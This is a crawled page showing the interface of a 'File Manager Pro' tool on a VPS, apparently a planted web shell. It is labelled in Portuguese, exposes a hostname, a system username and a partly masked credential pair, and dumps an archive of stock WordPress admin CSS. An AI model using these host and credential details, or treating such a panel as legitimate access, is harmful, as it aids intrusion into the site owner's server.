🗂️ File Manager Pro
🖥️ Tipo de Hospedagem:
Vps
📁 Diretório Raiz:
/home
🌐 Servidor:
www.apm-abl.com
👤 Usuário:
apmablcosr
🔐 Sessão:
🔑 Credenciais:
adm_1249c384 / ac96****
📍 Localização Atual:
home
Caminho completo: /home
📤 Enviar Arquivo
📁 Nova Pasta
⬆️ Voltar
🏠 Raiz
🗑️ DELETAR
📦 ZIPAR/DEZIPAR
Status
Nome
Tamanho
Modificado
Permissões
Ações
📁 a
-
03/02/2026 22:15
0755
✏️
📁 apmablcosr
-
26/01/2026 16:35
0705
✏️
🗑️
Editando: css.tar
dashboard.min.css 0000644 00000054102 15136723772 0010006 0 ustar 00 /*! This file is auto-generated */ #wpbody-content #dashboard-widgets.columns-1 .postbox-container{width:100%}#wpbody-content #dashboard-widgets.columns-2 .postbox-container{width:49.5%}#wpbody-content #dashboard-widgets.columns-2 #postbox-container-2,#wpbody-content #dashboard-widgets.columns-2 #postbox-container-3,#wpbody-content #dashboard-widgets.columns-2 #postbox-container-4{float:right;width:50.5%}#wpbody-content #dashboard-widgets.columns-3 .postbox-container{width:33.5%}#wpbody-content #dashboard-widgets.columns-3 #postbox-container-1{width:33%}#wpbody-content #dashboard-widgets.columns-3 #postbox-container-3,#wpbody-content #dashboard-widgets.columns-3 #postbox-container-4{float:right}#wpbody-content #dashboard-widgets.columns-4 .postbox-container{width:25%}#dashboard-widgets .postbox-container{width:25%}#dashboard-widgets-wrap .columns-3 #postbox-container-4 .empty-container{border:none!important}#dashboard-widgets-wrap{overflow:hidden;margin:0 -8px}#dashboard-widgets .postbox .inside{margin-bottom:0}#dashboard-widgets .meta-box-sortables{display:flow-root;min-height:100px;margin:0 8px 20px}#dashboard-widgets .postbox-container .empty-container{outline:3px dashed #c3c4c7;height:250px}.is-dragging-metaboxes #dashboard-widgets .meta-box-sortables{outline:3px dashed #646970;display:flow-root}#dashboard-widgets .postbox-container .empty-container:after{content:attr(data-emptystring);margin:auto;position:absolute;top:50%;left:0;right:0;transform:translateY(-50%);padding:0 2em;text-align:center;color:#646970;font-size:16px;line-height:1.5;display:none}#the-comment-list td.comment p.comment-author{margin-top:0;margin-left:0}#the-comment-list p.comment-author img{float:left;margin-right:8px}#the-comment-list p.comment-author strong a{border:none}#the-comment-list td{vertical-align:top}#the-comment-list td.comment{word-wrap:break-word}#the-comment-list td.comment img{max-width:100%}.index-php #screen-meta-links{margin:0 20px 8px 0}.welcome-panel{position:relative;overflow:auto;margin:16px 0;background-color:#151515;font-size:14px;line-height:1.3;clear:both}.welcome-panel h2{margin:0;font-size:48px;font-weight:600;line-height:1.25}.welcome-panel h3{margin:0;font-size:20px;font-weight:400;line-height:1.4}.welcome-panel p{font-size:inherit;line-height:inherit}.welcome-panel-header{position:relative;color:#fff}.welcome-panel-header-image{position:absolute!important;top:0;right:0;bottom:0;left:0;z-index:0!important;overflow:hidden}.welcome-panel-header-image svg{display:block;margin:auto;width:100%;height:100%}.rtl .welcome-panel-header-image svg{transform:scaleX(-1)}.welcome-panel-header *{color:inherit;position:relative;z-index:1}.welcome-panel-header a:focus,.welcome-panel-header a:hover{color:inherit;text-decoration:none}.welcome-panel .welcome-panel-close:focus,.welcome-panel-header a:focus{outline-color:currentColor;outline-offset:1px;box-shadow:none}.welcome-panel-header p{margin:.5em 0 0;font-size:20px;line-height:1.4}.welcome-panel .welcome-panel-close{position:absolute;top:10px;right:10px;padding:10px 15px 10px 24px;font-size:13px;line-height:1.23076923;text-decoration:none;z-index:1}.welcome-panel .welcome-panel-close:before{position:absolute;top:8px;left:0;transition:all .1s ease-in-out;content:'\f335';font-size:24px;color:#fff}.welcome-panel .welcome-panel-close{color:#fff}.welcome-panel .welcome-panel-close:focus,.welcome-panel .welcome-panel-close:focus::before,.welcome-panel .welcome-panel-close:hover,.welcome-panel .welcome-panel-close:hover::before{color:#fff972}.wp-core-ui .welcome-panel .button.button-hero{margin:15px 13px 3px 0;padding:12px 36px;height:auto;line-height:1.4285714;white-space:normal}.welcome-panel-content{min-height:400px;display:flex;flex-direction:column;justify-content:space-between}.welcome-panel-header{box-sizing:border-box;margin-left:auto;margin-right:auto;max-width:1500px;width:100%;padding:48px 0 80px 48px}.welcome-panel .welcome-panel-column-container{box-sizing:border-box;width:100%;clear:both;display:grid;z-index:1;padding:48px;grid-template-columns:repeat(3,1fr);gap:32px;align-self:flex-end;background:#fff}[class*=welcome-panel-icon]{height:60px;width:60px;background-position:center;background-size:24px 24px;background-repeat:no-repeat;border-radius:100%}.welcome-panel-column>svg{margin-top:4px}.welcome-panel-column{display:grid;grid-template-columns:min-content 1fr;gap:24px}.welcome-panel-icon-pages{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'%3E%3Cpath fill='%23fff' d='M7 13.8h6v-1.5H7v1.5zM18 16V4c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2zM5.5 16V4c0-.3.2-.5.5-.5h10c.3 0 .5.2.5.5v12c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5zM7 10.5h8V9H7v1.5zm0-3.3h8V5.8H7v1.4zM20.2 6v13c0 .7-.6 1.2-1.2 1.2H8v1.5h11c1.5 0 2.7-1.2 2.7-2.8V6h-1.5z' /%3E%3C/svg%3E")}.welcome-panel-icon-layout{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'%3E%3Cpath fill='%23fff' d='M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z' /%3E%3C/svg%3E")}.welcome-panel-icon-styles{background-image:url("data:image/svg+xml,%3Csvg viewBox='0 0 24 24' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath fill='%23fff' d='M12 4c-4.4 0-8 3.6-8 8v.1c0 4.1 3.2 7.5 7.2 7.9h.8c4.4 0 8-3.6 8-8s-3.6-8-8-8zm0 15V5c3.9 0 7 3.1 7 7s-3.1 7-7 7z' /%3E%3C/svg%3E")}.welcome-panel .welcome-widgets-menus{line-height:1.14285714}.welcome-panel .welcome-panel-column ul{margin:.8em 1em 1em 0}.welcome-panel li{font-size:14px}.welcome-panel li a{text-decoration:none}.welcome-panel .welcome-panel-column li{line-height:1.14285714;list-style-type:none;padding:0 0 8px}.welcome-panel .welcome-icon{background:0 0!important}#dashboard_right_now .search-engines-info:before,#dashboard_right_now li a:before,#dashboard_right_now li span:before,.welcome-panel .welcome-icon:before{color:#646970;font:normal 20px/1 dashicons;speak:never;display:inline-block;padding:0 10px 0 0;position:relative;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none!important;vertical-align:top}.welcome-panel .welcome-edit-page:before,.welcome-panel .welcome-write-blog:before{content:"\f119";top:-3px}.welcome-panel .welcome-add-page:before{content:"\f132";top:-1px}.welcome-panel .welcome-setup-home:before{content:"\f102";top:-1px}.welcome-panel .welcome-view-site:before{content:"\f115";top:-2px}.welcome-panel .welcome-widgets-menus:before{content:"\f116";top:-2px}.welcome-panel .welcome-widgets:before{content:"\f538";top:-2px}.welcome-panel .welcome-menus:before{content:"\f163";top:-2px}.welcome-panel .welcome-comments:before{content:"\f117";top:-1px}.welcome-panel .welcome-learn-more:before{content:"\f118";top:-1px}#dashboard_right_now .search-engines-info:before,#dashboard_right_now li a:before,#dashboard_right_now li>span:before{content:"\f159";padding:0 5px 0 0}#dashboard_right_now .page-count a:before,#dashboard_right_now .page-count span:before{content:"\f105"}#dashboard_right_now .post-count a:before,#dashboard_right_now .post-count span:before{content:"\f109"}#dashboard_right_now .comment-count a:before{content:"\f101"}#dashboard_right_now .comment-mod-count a:before{content:"\f125"}#dashboard_right_now .storage-count a:before{content:"\f104"}#dashboard_right_now .storage-count.warning a:before{content:"\f153"}#dashboard_right_now .search-engines-info:before{content:"\f348"}.community-events-errors{margin:0}.community-events-loading{padding:10px 12px 8px}.community-events{margin-bottom:6px;padding:0 12px}.community-events .spinner{float:none;margin:5px 2px 0;vertical-align:top}.community-events form[aria-hidden=true],.community-events-errors [aria-hidden=true],.community-events-errors[aria-hidden=true],.community-events-loading[aria-hidden=true],.community-events[aria-hidden=true]{display:none}.community-events .activity-block:first-child,.community-events h2{padding-top:12px;padding-bottom:10px}.community-events-form{margin:15px 0 5px}.community-events-form .regular-text{width:40%;height:29px;margin:0;vertical-align:top}.community-events li.event-none{border-left:4px solid #72aee6}#dashboard-widgets .community-events li.event-none a{text-decoration:underline}.community-events-form label{display:inline-block;vertical-align:top;line-height:2.15384615;height:28px}.community-events .activity-block>p{margin-bottom:0;display:inline}.community-events-toggle-location{vertical-align:middle}#community-events-submit{margin-left:3px;margin-right:3px}#dashboard-widgets .community-events-cancel.button-link{vertical-align:top;line-height:2;height:28px;text-decoration:underline}.community-events ul{background-color:#f6f7f7;padding-left:0;padding-right:0;padding-bottom:0}.community-events li{margin:0;padding:8px 12px;color:#2c3338}.community-events li:first-child{border-top:1px solid #f0f0f1}.community-events li~li{border-top:1px solid #f0f0f1}.community-events .activity-block.last{border-bottom:1px solid #f0f0f1;padding-top:0;margin-top:-1px}.community-events .event-info{display:block}.community-events .ce-separator::before{content:"\2022"}.event-icon{height:18px;padding-right:10px;width:18px;display:none}.event-icon:before{color:#646970;font-size:18px}.event-meetup .event-icon:before{content:"\f484"}.event-wordcamp .event-icon:before{content:"\f486"}.community-events .event-title{font-weight:600;display:block}.community-events .event-date,.community-events .event-time{display:block}.community-events-footer{margin-top:0;margin-bottom:0;padding:12px;border-top:1px solid #f0f0f1;color:#dcdcde}.community-events-footer .screen-reader-text{height:inherit;white-space:nowrap}#dashboard_primary .inside{margin:0;padding:0}#dashboard_primary .widget-loading{padding:12px 12px 0;margin-bottom:1em!important}#dashboard_primary .inside .notice{margin:0}body #dashboard-widgets .postbox form .submit{margin:0}.dashboard-widget-control-form p{margin-top:0}.rssSummary{color:#646970;margin-top:4px}#dashboard_primary .rss-widget{font-size:13px;padding:0 12px}#dashboard_primary .rss-widget:last-child{border-bottom:none;padding-bottom:8px}#dashboard_primary .rss-widget a{font-weight:400}#dashboard_primary .rss-widget span,#dashboard_primary .rss-widget span.rss-date{color:#646970}#dashboard_primary .rss-widget span.rss-date{margin-left:12px}#dashboard_primary .rss-widget ul li{padding:4px 0;margin:0}#dashboard_right_now ul{margin:0;display:inline-block;width:100%}#dashboard_right_now li{width:50%;float:left;margin-bottom:10px}#dashboard_right_now .inside{padding:0}#dashboard_right_now .main{padding:0 12px 11px}#dashboard_right_now .main p{margin:0}#dashboard_right_now #wp-version-message .button{float:right;position:relative;top:-5px;margin-left:5px}#dashboard_right_now p.search-engines-info{margin:1em 0}.mu-storage{overflow:hidden}#dashboard-widgets h3.mu-storage{margin:0 0 10px;padding:0;font-size:14px;font-weight:400}#dashboard_right_now .sub{color:#50575e;background:#f6f7f7;border-top:1px solid #f0f0f1;padding:10px 12px 6px}#dashboard_right_now .sub h3{color:#50575e}#dashboard_right_now .sub p{margin:0 0 1em}#dashboard_right_now .warning a:before,#dashboard_right_now .warning span:before{color:#d63638}#dashboard_quick_press .inside{margin:0;padding:0}#dashboard_quick_press div.updated{margin-bottom:10px;border:1px solid #f0f0f1;border-width:1px 1px 1px 0}#dashboard_quick_press form{margin:12px}#dashboard_quick_press .drafts{padding:10px 0 0}#dashboard_quick_press label{display:inline-block;margin-bottom:4px}#dashboard_quick_press input,#dashboard_quick_press textarea{box-sizing:border-box;margin:0}#dashboard-widgets .postbox form .submit{margin:-39px 0;float:right}#description-wrap{margin-top:12px}#quick-press textarea#content{min-height:90px;max-height:1300px;margin:0 0 8px;padding:6px 7px;resize:none}.js #dashboard_quick_press .drafts{border-top:1px solid #f0f0f1}#dashboard_quick_press .drafts abbr{border:none}#dashboard_quick_press .drafts .view-all{float:right;margin:0 12px 0 0}#dashboard_primary a.rsswidget{font-weight:400}#dashboard_quick_press .drafts ul{margin:0 12px}#dashboard_quick_press .drafts li{margin-bottom:1em}#dashboard_quick_press .drafts li time{color:#646970}#dashboard_quick_press .drafts p{margin:0;word-wrap:break-word}#dashboard_quick_press .draft-title{word-wrap:break-word}#dashboard_quick_press .draft-title a,#dashboard_quick_press .draft-title time{margin:0 5px 0 0}#dashboard-widgets h3,#dashboard-widgets h4,#dashboard_quick_press .drafts h2{margin:0 12px 8px;padding:0;font-size:14px;font-weight:400;color:#1d2327}#dashboard_quick_press .drafts h2{line-height:inherit}#dashboard-widgets .inside h3,#dashboard-widgets .inside h4{margin-left:0;margin-right:0}#dashboard_activity .comment-meta span.approve:before{content:"\f227";font:20px/.5 dashicons;margin-left:5px;vertical-align:middle;position:relative;top:-1px;margin-right:2px}#dashboard_activity .inside{margin:0;padding-bottom:0}#dashboard_activity .no-activity{overflow:hidden;padding:12px 0;text-align:center}#dashboard_activity .no-activity p{color:#646970;font-size:16px}#dashboard_activity .subsubsub{float:none;border-top:1px solid #f0f0f1;margin:0 -12px;padding:8px 12px 4px}#dashboard_activity .subsubsub a .count,#dashboard_activity .subsubsub a.current .count{color:#646970}#future-posts ul,#published-posts ul{margin:8px -12px 0 -12px}#future-posts li,#published-posts li{display:grid;grid-template-columns:clamp(160px,calc(2vw + 140px),200px) auto;column-gap:10px;color:#646970;padding:4px 12px}#future-posts li:nth-child(odd),#published-posts li:nth-child(odd){background-color:#f6f7f7}.activity-block{border-bottom:1px solid #f0f0f1;margin:0 -12px 6px -12px;padding:8px 12px 4px}.activity-block:last-child{border-bottom:none;margin-bottom:0}.activity-block .subsubsub li{color:#dcdcde}#activity-widget #the-comment-list div.undo,#activity-widget #the-comment-list tr.undo{background:0 0;padding:6px 0;margin-left:12px}#activity-widget #the-comment-list .comment-item{background:#f6f7f7;padding:12px;position:relative}#activity-widget #the-comment-list .avatar{position:absolute;top:12px}#activity-widget #the-comment-list .dashboard-comment-wrap.has-avatar{padding-left:63px}#activity-widget #the-comment-list .dashboard-comment-wrap blockquote{margin:1em 0}#activity-widget #the-comment-list .comment-item p.row-actions{margin:4px 0 0}#activity-widget #the-comment-list .comment-item:first-child{border-top:1px solid #f0f0f1}#activity-widget #the-comment-list .unapproved{background-color:#fcf9e8}#activity-widget #the-comment-list .unapproved:before{content:"";display:block;position:absolute;left:0;top:0;bottom:0;background:#d63638;width:4px}#activity-widget #the-comment-list .spam-undo-inside .avatar,#activity-widget #the-comment-list .trash-undo-inside .avatar{position:relative;top:0}#dashboard-widgets #dashboard_browser_nag.postbox .inside{margin:10px}.postbox .button-link .edit-box{display:none}.edit-box{opacity:0}.edit-box:focus,.hndle:hover .edit-box{opacity:1}#dashboard-widgets form .input-text-wrap input{width:100%}#dashboard-widgets form .textarea-wrap textarea{width:100%}#dashboard-widgets .postbox form .submit{float:none;margin:.5em 0 0;padding:0;border:none}#dashboard-widgets-wrap #dashboard-widgets .postbox form .submit #publish{min-width:0}#dashboard-widgets .button-link,#dashboard-widgets li a,.community-events-footer a{text-decoration:none}#dashboard-widgets h2 a{text-decoration:underline}#dashboard-widgets .hndle .postbox-title-action{float:right;line-height:1.2}#dashboard_plugins h5{font-size:14px}#latest-comments #the-comment-list{position:relative;margin:0 -12px}#activity-widget #the-comment-list .comment,#activity-widget #the-comment-list .pingback{box-shadow:inset 0 1px 0 rgba(0,0,0,.06)}#activity-widget .comments #the-comment-list .alt{background-color:transparent}#activity-widget #latest-comments #the-comment-list .comment-item{min-height:50px;margin:0;padding:12px}#latest-comments #the-comment-list .pingback{padding-left:12px!important}#latest-comments #the-comment-list .comment-item:first-child{border-top:none}#latest-comments #the-comment-list .comment-meta{line-height:1.5;margin:0;color:#646970}#latest-comments #the-comment-list .comment-meta cite{font-style:normal;font-weight:400}#latest-comments #the-comment-list .comment-item blockquote,#latest-comments #the-comment-list .comment-item blockquote p{margin:0;padding:0;display:inline}#latest-comments #the-comment-list .comment-item p.row-actions{margin:3px 0 0;padding:0;font-size:13px}.rss-widget ul{margin:0;padding:0;list-style:none}a.rsswidget{font-size:13px;font-weight:600;line-height:1.4}.rss-widget ul li{line-height:1.5;margin-bottom:12px}.rss-widget span.rss-date{color:#646970;font-size:13px;margin-left:3px}.rss-widget cite{display:block;text-align:right;margin:0 0 1em;padding:0}.rss-widget cite:before{content:"\2014"}.dashboard-comment-wrap{word-wrap:break-word}#dashboard_browser_nag a.update-browser-link{font-size:1.2em;font-weight:600}#dashboard_browser_nag a{text-decoration:underline}#dashboard_browser_nag p.browser-update-nag.has-browser-icon{padding-right:128px}#dashboard_browser_nag .browser-icon{margin-top:-32px}#dashboard_browser_nag.postbox{background-color:#b32d2e;background-image:none;border-color:#b32d2e;color:#fff;box-shadow:none}#dashboard_browser_nag.postbox h2{border-bottom-color:transparent;background:transparent none;color:#fff;box-shadow:none}#dashboard_browser_nag a{color:#fff}#dashboard_browser_nag.postbox .postbox-header{border-color:transparent}#dashboard_browser_nag h2.hndle{border:none;font-weight:600;font-size:20px;padding-top:10px}.postbox#dashboard_browser_nag p a.dismiss{font-size:14px}.postbox#dashboard_browser_nag a,.postbox#dashboard_browser_nag p,.postbox#dashboard_browser_nag p.browser-update-nag{font-size:16px}#dashboard_php_nag .dashicons-warning{color:#dba617;padding-right:6px}#dashboard_php_nag.php-no-security-updates .dashicons-warning,#dashboard_php_nag.php-version-lower-than-future-minimum .dashicons-warning{color:#d63638}#dashboard_php_nag h2{display:inline-block}#dashboard_php_nag p{margin:12px 0}#dashboard_php_nag .button .dashicons-external{line-height:25px}.bigger-bolder-text{font-weight:600;font-size:14px}@media only screen and (min-width:1600px){.welcome-panel .welcome-panel-column-container{display:flex;justify-content:center}.welcome-panel-column{width:100%;max-width:460px}}@media only screen and (max-width:799px){#wpbody-content #dashboard-widgets .postbox-container{width:100%}#dashboard-widgets .meta-box-sortables{min-height:0}.is-dragging-metaboxes #dashboard-widgets .meta-box-sortables{min-height:100px}#dashboard-widgets .meta-box-sortables.empty-container{margin-bottom:0}}@media only screen and (min-width:800px) and (max-width:1499px){#wpbody-content #dashboard-widgets .postbox-container{width:49.5%}#wpbody-content #dashboard-widgets #postbox-container-2,#wpbody-content #dashboard-widgets #postbox-container-3,#wpbody-content #dashboard-widgets #postbox-container-4{float:right;width:50.5%}#dashboard-widgets #postbox-container-3 .empty-container,#dashboard-widgets #postbox-container-4 .empty-container{outline:0;height:0;min-height:0;margin-bottom:0}#dashboard-widgets #postbox-container-3 .empty-container:after,#dashboard-widgets #postbox-container-4 .empty-container:after{display:none}#wpbody #wpbody-content #dashboard-widgets.columns-1 .postbox-container{width:100%}#wpbody #dashboard-widgets .metabox-holder.columns-1 .postbox-container .empty-container{outline:0;height:0;min-height:0;margin-bottom:0}.index-php .columns-prefs,.index-php .screen-layout{display:block}.columns-prefs .columns-prefs-3,.columns-prefs .columns-prefs-4{display:none}#dashboard-widgets .postbox-container .empty-container:after{display:block}}@media only screen and (min-width:1500px) and (max-width:1800px){#wpbody-content #dashboard-widgets .postbox-container{width:33.5%}#wpbody-content #dashboard-widgets #postbox-container-1{width:33%}#wpbody-content #dashboard-widgets #postbox-container-3,#wpbody-content #dashboard-widgets #postbox-container-4{float:right}#dashboard-widgets #postbox-container-4 .empty-container{outline:0;height:0;min-height:0;margin-bottom:0}#dashboard-widgets #postbox-container-4 .empty-container:after{display:none}#dashboard-widgets .postbox-container .empty-container:after{display:block}}@media only screen and (min-width:1801px){#dashboard-widgets .postbox-container .empty-container:after{display:block}}@media screen and (max-width:870px){.welcome-panel .welcome-panel-column li{display:inline-block;margin-right:13px}.welcome-panel .welcome-panel-column ul{margin:.4em 0 0}}@media screen and (max-width:1180px) and (min-width:783px){.welcome-panel-column{grid-template-columns:1fr}.welcome-panel-column>svg,[class*=welcome-panel-icon]{display:none}}@media screen and (max-width:782px){.welcome-panel .welcome-panel-column-container{grid-template-columns:1fr;box-sizing:border-box;padding:32px;width:100%}.welcome-panel .welcome-panel-column-content{max-width:520px}.welcome-panel .welcome-panel-close{overflow:hidden;text-indent:40px;white-space:nowrap;width:20px;height:20px;padding:5px;top:5px;right:5px}.welcome-panel .welcome-panel-close::before{top:5px;left:-35px}#dashboard-widgets h2{padding:12px}#dashboard_recent_comments #the-comment-list .comment-item .avatar{height:30px;width:30px;margin:4px 10px 5px 0}.community-events-toggle-location{height:38px;vertical-align:baseline}.community-events-form .regular-text{height:32px}#community-events-submit{margin-bottom:0;vertical-align:top}#dashboard-widgets .community-events-cancel.button-link,.community-events-form label{font-size:14px;line-height:normal;height:auto;padding:6px 0;border:1px solid transparent}.community-events .spinner{margin-top:7px}}@media screen and (max-width:600px){.welcome-panel-header{padding:32px 32px 64px}.welcome-panel-header-image{display:none}}@media screen and (max-width:480px){.welcome-panel-column{gap:16px}}@media screen and (max-width:360px){.welcome-panel-column{grid-template-columns:1fr}.welcome-panel-column>svg,[class*=welcome-panel-icon]{display:none}}@media screen and (min-width:355px){.community-events .event-info{display:table-row;float:left;max-width:59%}.event-icon,.event-icon[aria-hidden=true]{display:table-cell}.event-info-inner{display:table-cell}.community-events .event-date-time{float:right;max-width:39%}.community-events .event-date,.community-events .event-time{text-align:right}} code-editor.css 0000644 00000003053 15136723772 0007472 0 ustar 00 .wrap [class*="CodeMirror-lint-marker"], .wp-core-ui [class*="CodeMirror-lint-message"], .wrap .CodeMirror-lint-marker-multiple { background-image: none; } .wp-core-ui .CodeMirror-lint-marker-error, .wp-core-ui .CodeMirror-lint-marker-warning { cursor: help; } .wrap .CodeMirror-lint-marker-multiple { position: absolute; top: 0; } .wrap [class*="CodeMirror-lint-marker"]:before { font: normal 18px/1 dashicons; position: relative; top: -2px; } .wp-core-ui [class*="CodeMirror-lint-message"]:before { font: normal 16px/1 dashicons; left: 16px; position: absolute; } .wp-core-ui .CodeMirror-lint-message-error, .wp-core-ui .CodeMirror-lint-message-warning { box-shadow: 0 1px 1px 0 rgba(0, 0, 0, 0.1); margin: 5px 0 2px; padding: 3px 12px 3px 28px; } .wp-core-ui .CodeMirror-lint-message-warning { background-color: #fcf9e8; border-left: 4px solid #dba617; } .wrap .CodeMirror-lint-marker-warning:before, .wp-core-ui .CodeMirror-lint-message-warning:before { content: "\f534"; color: #dba617; } .wp-core-ui .CodeMirror-lint-message-error { background-color: #fcf0f1; border-left: 4px solid #d63638; } .wrap .CodeMirror-lint-marker-error:before, .wp-core-ui .CodeMirror-lint-message-error:before { content: "\f153"; color: #d63638; } .wp-core-ui .CodeMirror-lint-tooltip { background: none; border: none; border-radius: 0; direction: ltr; } .wrap .CodeMirror .CodeMirror-matchingbracket { background: rgba(219, 166, 23, 0.3); color: inherit; } .CodeMirror { text-align: left; } .wrap .CodeMirror .CodeMirror-linenumber { color: #646970; } list-tables-rtl.css 0000644 00000126267 15136723772 0010333 0 ustar 00 /*! This file is auto-generated */ .response-links { display: block; margin-bottom: 1em; } .response-links a { display: block; } .response-links a.comments-edit-item-link { font-weight: 600; } .response-links a.comments-view-item-link { font-size: 12px; } .post-com-count-wrapper strong { font-weight: 400; } .comments-view-item-link { display: inline-block; clear: both; } .column-response .post-com-count-wrapper, .column-comments .post-com-count-wrapper { white-space: nowrap; word-wrap: normal; } /* comments bubble common */ .column-response .post-com-count, .column-comments .post-com-count { display: inline-block; vertical-align: top; } /* comments bubble approved */ .column-response .post-com-count-no-comments, .column-response .post-com-count-approved, .column-comments .post-com-count-no-comments, .column-comments .post-com-count-approved { margin-top: 5px; } .column-response .comment-count-no-comments, .column-response .comment-count-approved, .column-comments .comment-count-no-comments, .column-comments .comment-count-approved { box-sizing: border-box; display: block; padding: 0 8px; min-width: 24px; height: 2em; border-radius: 5px; background-color: #646970; color: #fff; font-size: 11px; line-height: 1.90909090; text-align: center; } .column-response .post-com-count-no-comments:after, .column-response .post-com-count-approved:after, .column-comments .post-com-count-no-comments:after, .column-comments .post-com-count-approved:after { content: ""; display: block; margin-right: 8px; width: 0; height: 0; border-top: 5px solid #646970; border-left: 5px solid transparent; } .column-response a.post-com-count-approved:hover .comment-count-approved, .column-response a.post-com-count-approved:focus .comment-count-approved, .column-comments a.post-com-count-approved:hover .comment-count-approved, .column-comments a.post-com-count-approved:focus .comment-count-approved { background: #2271b1; } .column-response a.post-com-count-approved:hover:after, .column-response a.post-com-count-approved:focus:after, .column-comments a.post-com-count-approved:hover:after, .column-comments a.post-com-count-approved:focus:after { border-top-color: #2271b1; } /* @todo: consider to use a single rule for these counters and the admin menu counters. */ .column-response .post-com-count-pending, .column-comments .post-com-count-pending { position: relative; right: -3px; padding: 0 5px; min-width: 7px; height: 17px; border: 2px solid #fff; border-radius: 11px; background: #d63638; color: #fff; font-size: 9px; line-height: 1.88888888; text-align: center; } .column-response .post-com-count-no-pending, .column-comments .post-com-count-no-pending { display: none; } /* comments */ .commentlist li { padding: 1em 1em .2em; margin: 0; border-bottom: 1px solid #c3c4c7; } .commentlist li li { border-bottom: 0; padding: 0; } .commentlist p { padding: 0; margin: 0 0 .8em; } #submitted-on, .submitted-on { color: #50575e; } /* reply to comments */ #replyrow td { padding: 2px; } #replysubmit { margin: 0; padding: 5px 7px 10px; overflow: hidden; } #replysubmit .reply-submit-buttons { margin-bottom: 0; } #replysubmit .button { margin-left: 5px; } #replysubmit .spinner { float: none; margin: -4px 0 0; } #replyrow.inline-edit-row fieldset.comment-reply { font-size: inherit; line-height: inherit; } #replyrow legend { margin: 0; padding: .2em 5px 0; font-size: 13px; line-height: 1.4; font-weight: 600; } #replyrow.inline-edit-row label { display: inline; vertical-align: baseline; line-height: inherit; } #edithead .inside, #commentsdiv #edithead .inside { float: right; padding: 3px 5px 2px 0; margin: 0; text-align: center; } #edithead .inside input { width: 180px; } #edithead label { padding: 2px 0; } #replycontainer { padding: 5px; } #replycontent { height: 120px; box-shadow: none; } #replyerror { border-color: #dcdcde; background-color: #f6f7f7; } /* @todo: is this used? */ .commentlist .avatar { vertical-align: text-top; } #the-comment-list tr.undo, #the-comment-list div.undo { background-color: #f6f7f7; } #the-comment-list .unapproved th, #the-comment-list .unapproved td { background-color: #fcf9e8; } #the-comment-list .unapproved th.check-column { border-right: 4px solid #d63638; } #the-comment-list .unapproved th.check-column input { margin-right: 4px; } #the-comment-list .approve a { color: #007017; } #the-comment-list .unapprove a { color: #996800; } #the-comment-list th, #the-comment-list td { box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1); } #the-comment-list tr:last-child th, #the-comment-list tr:last-child td { box-shadow: none; } #the-comment-list tr.unapproved + tr.approved th, #the-comment-list tr.unapproved + tr.approved td { border-top: 1px solid rgba(0, 0, 0, 0.03); } /* table vim shortcuts */ .vim-current, .vim-current th, .vim-current td { background-color: #f0f6fc !important; } th .comment-grey-bubble { width: 16px; /* Make sure the link clickable area fills the entire table header. */ position: relative; top: 2px; } th .comment-grey-bubble:before { content: "\f101"; font: normal 20px/.5 dashicons; speak: never; display: inline-block; padding: 0; top: 4px; right: -4px; position: relative; vertical-align: top; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; text-decoration: none !important; color: #3c434a; } /*------------------------------------------------------------------------------ 10.0 - List Posts (/Pages/etc) ------------------------------------------------------------------------------*/ table.fixed { table-layout: fixed; } .fixed .column-rating, .fixed .column-visible { width: 8%; } .fixed .column-posts, .fixed .column-parent, .fixed .column-links, .fixed .column-author, .fixed .column-format { width: 10%; } .fixed .column-date { width: 14%; } .column-date span[title] { -webkit-text-decoration: dotted underline; text-decoration: dotted underline; } .fixed .column-posts { width: 74px; } .fixed .column-role, .fixed .column-posts { -webkit-hyphens: auto; hyphens: auto; } .fixed .column-comment .comment-author { display: none; } .fixed .column-response, .fixed .column-categories, .fixed .column-tags, .fixed .column-rel, .fixed .column-role { width: 15%; } .fixed .column-slug { width: 25%; } .fixed .column-locations { width: 35%; } .fixed .column-comments { width: 5.5em; text-align: right; } .fixed .column-comments .vers { padding-right: 3px; } td.column-title strong, td.plugin-title strong { display: block; margin-bottom: .2em; font-size: 14px; } td.column-title p, td.plugin-title p { margin: 6px 0; } /* Media file column */ table.media .column-title .media-icon { float: right; min-height: 60px; margin: 0 0 0 9px; } table.media .column-title .media-icon img { max-width: 60px; height: auto; vertical-align: top; /* Remove descender white-space. */ } table.media .column-title .has-media-icon ~ .row-actions { margin-right: 70px; /* 60px image + margin */ } table.media .column-title .filename { margin-bottom: 0.2em; } /* Media Copy to clipboard row action */ .media .row-actions .copy-to-clipboard-container { display: inline; position: relative; } .media .row-actions .copy-to-clipboard-container .success { position: absolute; right: 50%; transform: translate(50%, -100%); background: #000; color: #fff; border-radius: 5px; margin: 0; padding: 2px 5px; } /* @todo: pick a consistent list table selector */ .wp-list-table a { transition: none; } #the-list tr:last-child td, #the-list tr:last-child th { border-bottom: none !important; box-shadow: none; } #comments-form .fixed .column-author { width: 20%; } #commentsdiv.postbox .inside { margin: 0; padding: 0; } #commentsdiv .inside .row-actions { line-height: 1.38461538; } #commentsdiv .inside .column-author { width: 25%; } #commentsdiv .column-comment p { margin: 0.6em 0; padding: 0; } #commentsdiv #replyrow td { padding: 0; } #commentsdiv p { padding: 8px 10px; margin: 0; } #commentsdiv .comments-box { border: 0 none; } #commentsdiv .comments-box thead th, #commentsdiv .comments-box thead td { background: transparent; padding: 0 7px 4px; } #commentsdiv .comments-box tr:last-child td { border-bottom: 0 none; } #commentsdiv #edithead .inside input { width: 160px; } .sorting-indicators { display: grid; } .sorting-indicator { display: block; width: 10px; height: 4px; margin-top: 4px; margin-right: 7px; } 